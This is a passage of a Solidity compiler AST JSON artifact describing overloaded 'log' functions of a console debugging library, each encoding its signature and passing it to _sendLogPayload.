:"t_address","typeString":"address"},"typeName":{"id":30348,"name":"address","nodeType":"ElementaryTypeName","src":"56976:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30351,"mutability":"mutable","name":"p3","nameLocation":"56993:2:15","nodeType":"VariableDeclaration","scope":30366,"src":"56988:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30350,"name":"bool","nodeType":"ElementaryTypeName","src":"56988:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"56954:42:15"},"returnParameters":{"id":30353,"nodeType":"ParameterList","parameters":[],"src":"57011:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30389,"nodeType":"FunctionDefinition","src":"57124:182:15","nodes":[],"body":{"id":30388,"nodeType":"Block","src":"57196:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c6164647265737329","id":30380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57246:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1d14d00189540d88098b9fe614aa8c0efbe231c1a0fee05e7d705c0342377123","typeString":"literal_string \"log(bool,address,address,address)\""},"value":"log(bool,address,address,address)"},{"id":30381,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30368,"src":"57283:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30382,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30370,"src":"57287:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30383,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30372,"src":"57291:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30384,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30374,"src":"57295:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1d14d00189540d88098b9fe614aa8c0efbe231c1a0fee05e7d705c0342377123","typeString":"literal_string \"log(bool,address,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30378,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57222:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30379,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57226:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57222:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30385,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57222:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30377,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57206:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57206:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30387,"nodeType":"ExpressionStatement","src":"57206:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57133:3:15","parameters":{"id":30375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30368,"mutability":"mutable","name":"p0","nameLocation":"57142:2:15","nodeType":"VariableDeclaration","scope":30389,"src":"57137:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30367,"name":"bool","nodeType":"ElementaryTypeName","src":"57137:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30370,"mutability":"mutable","name":"p1","nameLocation":"57154:2:15","nodeType":"VariableDeclaration","scope":30389,"src":"57146:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30369,"name":"address","nodeType":"ElementaryTypeName","src":"57146:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30372,"mutability":"mutable","name":"p2","nameLocation":"57166:2:15","nodeType":"VariableDeclaration","scope":30389,"src":"57158:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30371,"name":"address","nodeType":"ElementaryTypeName","src":"57158:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30374,"mutability":"mutable","name":"p3","nameLocation":"57178:2:15","nodeType":"VariableDeclaration","scope":30389,"src":"57170:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30373,"name":"address","nodeType":"ElementaryTypeName","src":"57170:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"57136:45:15"},"returnParameters":{"id":30376,"nodeType":"ParameterList","parameters":[],"src":"57196:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30412,"nodeType":"FunctionDefinition","src":"57312:188:15","nodes":[],"body":{"id":30411,"nodeType":"Block","src":"57387:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c75696e743235362c75696e7432353629","id":30403,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57437:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_34f0e636808ebabd61ce9b247c78c7a38984ab35d5f29c0bd51299288509f6d6","typeString":"literal_string \"log(address,uint256,uint256,uint256)\""},"value":"log(address,uint256,uint256,uint256)"},{"id":30404,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30391,"src":"57477:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30405,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30393,"src":"57481:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30406,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30395,"src":"57485:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30407,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30397,"src":"57489:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_34f0e636808ebabd61ce9b247c78c7a38984ab35d5f29c0bd51299288509f6d6","typeString":"literal_string \"log(address,uint256,uint256,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30401,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57413:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30402,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57417:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57413:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57413:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30400,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57397:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57397:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30410,"nodeType":"ExpressionStatement","src":"57397:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57321:3:15","parameters":{"id":30398,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30391,"mutability":"mutable","name":"p0","nameLocation":"57333:2:15","nodeType":"VariableDeclaration","scope":30412,"src":"57325:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30390,"name":"address","nodeType":"ElementaryTypeName","src":"57325:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30393,"mutability":"mutable","name":"p1","nameLocation":"57345:2:15","nodeType":"VariableDeclaration","scope":30412,"src":"57337:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30392,"name":"uint256","nodeType":"ElementaryTypeName","src":"57337:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30395,"mutability":"mutable","name":"p2","nameLocation":"57357:2:15","nodeType":"VariableDeclaration","scope":30412,"src":"57349:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30394,"name":"uint256","nodeType":"ElementaryTypeName","src":"57349:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30397,"mutability":"mutable","name":"p3","nameLocation":"57369:2:15","nodeType":"VariableDeclaration","scope":30412,"src":"57361:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30396,"name":"uint256","nodeType":"ElementaryTypeName","src":"57361:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"57324:48:15"},"returnParameters":{"id":30399,"nodeType":"ParameterList","parameters":[],"src":"57387:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30435,"nodeType":"FunctionDefinition","src":"57506:193:15","nodes":[],"body":{"id":30434,"nodeType":"Block","src":"57587:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c75696e743235362c737472696e6729","id":30426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57637:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4a28c017e545dc04fb82dd1a46d46ba463e69e0aeff774fbced9bedd205b6cf6","typeString":"literal_string \"log(address,uint256,uint256,string)\""},"value":"log(address,uint256,uint256,string)"},{"id":30427,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30414,"src":"57676:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30428,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30416,"src":"57680:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30429,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30418,"src":"57684:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30430,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30420,"src":"57688:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4a28c017e545dc04fb82dd1a46d46ba463e69e0aeff774fbced9bedd205b6cf6","typeString":"literal_string \"log(address,uint256,uint256,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30424,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57613:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30425,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57617:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57613:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57613:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30423,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57597:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57597:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30433,"nodeType":"ExpressionStatement","src":"57597:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57515:3:15","parameters":{"id":30421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30414,"mutability":"mutable","name":"p0","nameLocation":"57527:2:15","nodeType":"VariableDeclaration","scope":30435,"src":"57519:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30413,"name":"address","nodeType":"ElementaryTypeName","src":"57519:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30416,"mutability":"mutable","name":"p1","nameLocation":"57539:2:15","nodeType":"VariableDeclaration","scope":30435,"src":"57531:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30415,"name":"uint256","nodeType":"ElementaryTypeName","src":"57531:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30418,"mutability":"mutable","name":"p2","nameLocation":"57551:2:15","nodeType":"VariableDeclaration","scope":30435,"src":"57543:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30417,"name":"uint256","nodeType":"ElementaryTypeName","src":"57543:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30420,"mutability":"mutable","name":"p3","nameLocation":"57569:2:15","nodeType":"VariableDeclaration","scope":30435,"src":"57555:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30419,"name":"string","nodeType":"ElementaryTypeName","src":"57555:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57518:54:15"},"returnParameters":{"id":30422,"nodeType":"ParameterList","parameters":[],"src":"57587:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30458,"nodeType":"FunctionDefinition","src":"57705:182:15","nodes":[],"body":{"id":30457,"nodeType":"Block","src":"57777:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c75696e743235362c626f6f6c29","id":30449,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57827:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_66f1bc67b5cb59260b3541ed684f0a38ab8f590dfff7947bd562de33eae3c57e","typeString":"literal_string \"log(address,uint256,uint256,bool)\""},"value":"log(address,uint256,uint256,bool)"},{"id":30450,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30437,"src":"57864:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30451,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30439,"src":"57868:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30452,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30441,"src":"57872:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30453,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30443,"src":"57876:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_66f1bc67b5cb59260b3541ed684f0a38ab8f590dfff7947bd562de33eae3c57e","typeString":"literal_string \"log(address,uint256,uint256,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30447,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57803:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30448,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57807:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57803:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57803:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30446,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57787:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30455,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57787:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30456,"nodeType":"ExpressionStatement","src":"57787:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57714:3:15","parameters":{"id":30444,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30437,"mutability":"mutable","name":"p0","nameLocation":"57726:2:15","nodeType":"VariableDeclaration","scope":30458,"src":"57718:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30436,"name":"address","nodeType":"ElementaryTypeName","src":"57718:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30439,"mutability":"mutable","name":"p1","nameLocation":"57738:2:15","nodeType":"VariableDeclaration","scope":30458,"src":"57730:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30438,"name":"uint256","nodeType":"ElementaryTypeName","src":"57730:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30441,"mutability":"mutable","name":"p2","nameLocation":"57750:2:15","nodeType":"VariableDeclaration","scope":30458,"src":"57742:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30440,"name":"uint256","nodeType":"ElementaryTypeName","src":"57742:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30443,"mutability":"mutable","name":"p3","nameLocation":"57759:2:15","nodeType":"VariableDeclaration","scope":30458,"src":"57754:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30442,"name":"bool","nodeType":"ElementaryTypeName","src":"57754:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"57717:45:15"},"returnParameters":{"id":30445,"nodeType":"ParameterList","parameters":[],"src":"57777:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30481,"nodeType":"FunctionDefinition","src":"57893:188:15","nodes":[],"body":{"id":30480,"nodeType":"Block","src":"57968:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c75696e743235362c6164647265737329","id":30472,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58018:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_20e3984d0b91232a40a479187d959e3fb7102cd2a40a0267e07a4f648290e390","typeString":"literal_string \"log(address,uint256,uint256,address)\""},"value":"log(address,uint256,uint256,address)"},{"id":30473,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30460,"src":"58058:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30474,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30462,"src":"58062:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30475,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30464,"src":"58066:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30476,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30466,"src":"58070:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_20e3984d0b91232a40a479187d959e3fb7102cd2a40a0267e07a4f648290e390","typeString":"literal_string \"log(address,uint256,uint256,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30470,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57994:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30471,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57998:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57994:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57994:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30469,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57978:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57978:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30479,"nodeType":"ExpressionStatement","src":"57978:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57902:3:15","parameters":{"id":30467,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30460,"mutability":"mutable","name":"p0","nameLocation":"57914:2:15","nodeType":"VariableDeclaration","scope":30481,"src":"57906:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30459,"name":"address","nodeType":"ElementaryTypeName","src":"57906:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30462,"mutability":"mutable","name":"p1","nameLocation":"57926:2:15","nodeType":"VariableDeclaration","scope":30481,"src":"57918:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30461,"name":"uint256","nodeType":"ElementaryTypeName","src":"57918:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30464,"mutability":"mutable","name":"p2","nameLocation":"57938:2:15","nodeType":"VariableDeclaration","scope":30481,"src":"57930:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30463,"name":"uint256","nodeType":"ElementaryTypeName","src":"57930:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30466,"mutability":"mutable","name":"p3","nameLocation":"57950:2:15","nodeType":"VariableDeclaration","scope":30481,"src":"57942:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30465,"name":"address","nodeType":"ElementaryTypeName","src":"57942:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"57905:48:15"},"returnParameters":{"id":30468,"nodeType":"ParameterList","parameters":[],"src":"57968:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30504,"nodeType":"FunctionDefinition","src":"58087:193:15","nodes":[],"body":{"id":30503,"nodeType":"Block","src":"58168:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c737472696e672c75696e7432353629","id":30495,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58218:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_bf01f89152073297823dffc184d44302911f7269a4d8bb68457feda7325d0054","typeString":"literal_string \"log(address,uint256,string,uint256)\""},"value":"log(address,uint256,string,uint256)"},{"id":30496,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30483,"src":"58257:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30497,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30485,"src":"58261:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30498,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30487,"src":"58265:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30499,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30489,"src":"58269:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bf01f89152073297823dffc184d44302911f7269a4d8bb68457feda7325d0054","typeString":"literal_string \"log(address,uint256,string,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 